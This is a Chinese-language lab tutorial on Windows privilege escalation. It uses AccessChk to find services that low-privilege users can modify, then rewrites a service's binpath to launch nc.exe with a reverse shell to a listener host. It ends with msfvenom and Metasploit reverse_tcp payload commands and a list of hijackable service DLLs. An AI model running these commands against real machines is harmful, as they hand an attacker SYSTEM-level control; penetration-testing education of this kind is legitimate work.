Windows低權限進程或服務提權
原創【51CTO.com原創稿件】在實際滲透過程中,有可能獲取了該操作系統下的一個普通用戶帳號權限,或者webshell權限,通過低權限用戶進行越權,有可能獲取系統權限;其利用原理主要是通過微軟的AccessChk工具軟件,配合sc來操作服務,通過服務的重啟而得到權限。
一、AccessChk簡介及使用
1. AccessChk簡介
AccessChk是Sysinternals中的一個小工具,目前最新版本為6.1,新版本存在一些bug,在實際使用時會提示需要多個dll文件,在本案例中使用的是3.0版本,其官方網站下載地址:https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx
AccessChk主要用來檢查用戶和用戶組對文件,目錄,注冊表項,全局對象和系統服務的權限詳細情況,在實際配置過程中如果權限設置失誤,則就可以被用來提權。
2. 使用AccessChk
命令行下第一次運行需要同意一個許可,如果不想出現那個提示窗口,則可以執行“accesschk.exe /accepteula”。其主要參數如下:
- usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t <object type>]][-c]|[-d]] [[-l [-i]]|[username]] <file, directory, registry key, process, service, object>
這個命令分為三個部分accesschk是程序名;第一個參數有9個可選項[],部分可選項里還有可選參數;第二個參數是一個目標,這個目標可以是文件,目錄,注冊項,進程,服務,對象。
- -a 名稱是Windows帳戶權限。指定“*”作為顯示所有分配給用戶的權限名稱,只有指定用戶名稱或者組時才顯示指派的權限。
- -c 顯示服務名稱,“*”顯示所有服務。
- -d 僅處理目錄或頂級鍵
- -e 只顯示顯式設置完整性級別(Windows Vista和更高版本系統)
- -f 顯示包含組和特權的完整過程令牌信息
- -k 注冊表鍵值,例如 hklm\software
- -i 在取消完全訪問控制列表時忽略只繼承繼承符的對象
- -l 顯示全部訪問控制列表。添加“-I”忽略繼承ACEs
- -n 僅顯示沒有訪問權限的對象
- -o 名稱是對象管理器命名空間中的一個對象(默認是root)。查看一個目錄的內容,用反斜線或-S-T和對象類型指定名稱
- -p 進程名或者PID,例如cmd.exe (使用 '*'顯示所有的進程). 加“-f ”顯示包括組和特權的所有進程令牌信息,加“-t”顯示線程。
- -q 省略標識
- -r 顯示對象只讀屬性
- -s 遞歸
- -t 對象類型篩選器
- -u 抑制錯誤
- -v 冗長(包括Windows Vista完整性級別)
- -w 僅顯示具有寫訪問的對象
(1)查看用戶服務,查看管理員組、users組下所有服務:
- accesschk administrators -c *
- accesschk users -c *
如圖1所示,可以對某個用戶進行查看,主要用來提權用,例如查看simeon用戶具備讀寫服務器權限:
accesschk simeon -c * | find "RW" 或者accesschk simeon -cw *
圖1查看指定用戶的服務權限
(2)查看用戶組對系統服務具備寫權限,如果有則會顯示,否則會提示“No matching objects found”。
- accesschk.exe -uwcqv "Authenticated Users" *
- accesschk.exe -uwcqv "Administrators" *
- accesschk.exe -uwcqv "Backup Operators" *
- accesschk.exe -uwcqv "Distributed COM Users" *
- accesschk.exe -uwcqv "Guests" *
- accesschk.exe -uwcqv "HelpServicesGroup" *
- accesschk.exe -uwcqv "IIS_WPG" *
- accesschk.exe -uwcqv "Network Configuration Operators" *
- accesschk.exe -uwcqv "Performance Monitor Users" *
- accesschk.exe -uwcqv "Performance Log Users" *
- accesschk.exe -uwcqv "Power Users" *
- accesschk.exe -uwcqv "Print Operators" *
- accesschk.exe -uwcqv "Remote Desktop Users" *
- accesschk.exe -uwcqv "Replicator" *
- accesschk.exe -uwcqv "TelnetClients" *
- accesschk.exe -uwcqv "Users" *
二、獲取低權限可操作服務名稱
1. 實驗環境
(1)本次實驗環境為Windows 2003 Sever SP3,用戶simeon屬于power user組,可以登錄系統。
(2)IP地址:192.168.52.175
(3)監聽服務IP:192.168.52.215
(4)nc.exe復制到c:\windows\temp目錄
2. 獲取可讀寫的服務
執行命令以下命令獲取Power Users組可以操作的服務名稱信息,如圖2所示。
- accesschk.exe -uwcqv "Power Users" *
執行后顯示結果如下:
- RW DcomLaunch
- SERVICE_QUERY_STATUS
- SERVICE_QUERY_CONFIG
- SERVICE_CHANGE_CONFIG
- SERVICE_INTERROGATE
- SERVICE_ENUMERATE_DEPENDENTS
- READ_CONTROL
- RW kdc
- SERVICE_QUERY_STATUS
- SERVICE_QUERY_CONFIG
- SERVICE_CHANGE_CONFIG
- SERVICE_INTERROGATE
- SERVICE_ENUMERATE_DEPENDENTS
- READ_CONTROL
圖2獲取可讀寫的服務名稱信息
3. 查詢服務詳細信息
服務名稱為“DcomLaunch”、“kdc”可以被simeon用戶進行操作。使用sc qc kdc命令查詢kdc服務的詳細信息,如圖3所示,可以看到該服務是以系統權限運行的。
圖3查詢kdc服務詳細信息
4 .決定使用那個服務
執行命令“net start”查看系統目前已經啟動的服務,也可以使用以下命令直接獲取。如圖4所示,在啟動服務列表中發現“DCOM Server Process Launcher”服務名稱。
- net start | find "DCOM Server Process Launcher"
- net start | find "Kerberos Key Distribution Center"
圖4獲取服務名稱
5. 獲取服務名稱對應的服務
使用命令“tasklist /svc”,如圖5所示,獲取“DCOM Server Process Launcher”服務名稱所對應的服務“DcomLaunch”。
圖5獲取DcomLaunch服務信息
三、修改服務并獲取系統權限
1. 修改服務參數binpath值
使用sc命令對服務進行修改:
- sc config DcomLaunch binpath= "C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe"
如圖6所示,執行命令后,顯示修改服務配置成功,再次使用sc qc DcomLaunch,顯示執行文件已經更改為:
- C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe
查詢服務:sc qc DcomLaunch
圖6修改服務binpath值
2. 啟動服務
先執行 sc config DcomLaunch obj= ".\LocalSystem" password= "",然后通過命令下啟動,使用“net start DcomLaunch”命令,也可以通過services.msc服務管理器重啟該服務,如圖7所示。
圖7重新啟動服務
3. 反彈獲取服務器權限
如圖8所示,在反彈服務器中192.168.52.215監聽4433端口,成功獲取來自192.168.52.175的反彈,且為系統權限。
圖8反彈獲取系統權限
4. 總結
在Winxp、Windows 2003、Windows 7 (32/64)下有一些dll文件也可以被替換:
- IKE and AuthIP IPsec Keying Modules (IKEEXT) – wlbsctrl.dll
- Windows Media Center Receiver Service (ehRecvr) – ehETW.dll
- Windows Media Center Scheduler Service (ehSched) – ehETW.dll
- Automatic Updates (wuauserv) – ifsproxy.dll
- Remote Desktop Help Session Manager (RDSessMgr)–SalemHook.dll
- Remote Access Connection Manager (RasMan) – ipbootp.dll
- Windows Management Instrumentation (winmgmt) – wbemcore.dll
- Audio Service (STacSV) – SFFXComm.dll SFCOM.DLL
- Intel(R) Rapid Storage Technology (IAStorDataMgrSvc) – DriverSim.dll
- Juniper Unified Network Service(JuniperAccessService) – dsLogService.dll
(1)使用msf生成exe文件
Linux msf監聽4433端口
- ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/my_payload.exe
windows下監聽4433端口
- ./msfvenom -p windows/shel/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/w.exe
其中平臺參數(-p)可以設置為以下的一些,也可以使用msfvenom -l payload | grep 'reverse'進行查看和選擇:
- windows/shell/reverse_tcp
- windows/x64/shell_reverse_tcp
- windows/shell_reverse_tcp
- windows/shell/reverse_tcp
(2)在msf上面執行
- set payload windows/meterpreter/reverse_tcp
- show options
- set lhost 192.168.52.215
- set lport 4433
- run 0
(3)將生成的/tmp/my_payload.exe按照本文上面的方法執行后即可得到反彈的webshell
【51CTO原創稿件,合作站點轉載請注明原文作者和出處為51CTO.com】